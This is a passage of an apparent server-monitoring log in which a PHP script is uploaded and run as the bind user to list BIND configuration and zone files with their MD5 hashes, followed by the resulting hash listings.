MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:18:57: Establishing a connection
2026-04-23 18:18:57: 

PUT: /tmp/pkp698977

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:18:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp698977; rm /tmp/pkp698977'

2026-04-23 18:18:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:18:59: Establishing a connection
2026-04-23 18:18:59: 

PUT: /tmp/pkp910758

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:18:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp910758; rm /tmp/pkp910758'

2026-04-23 18:18:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
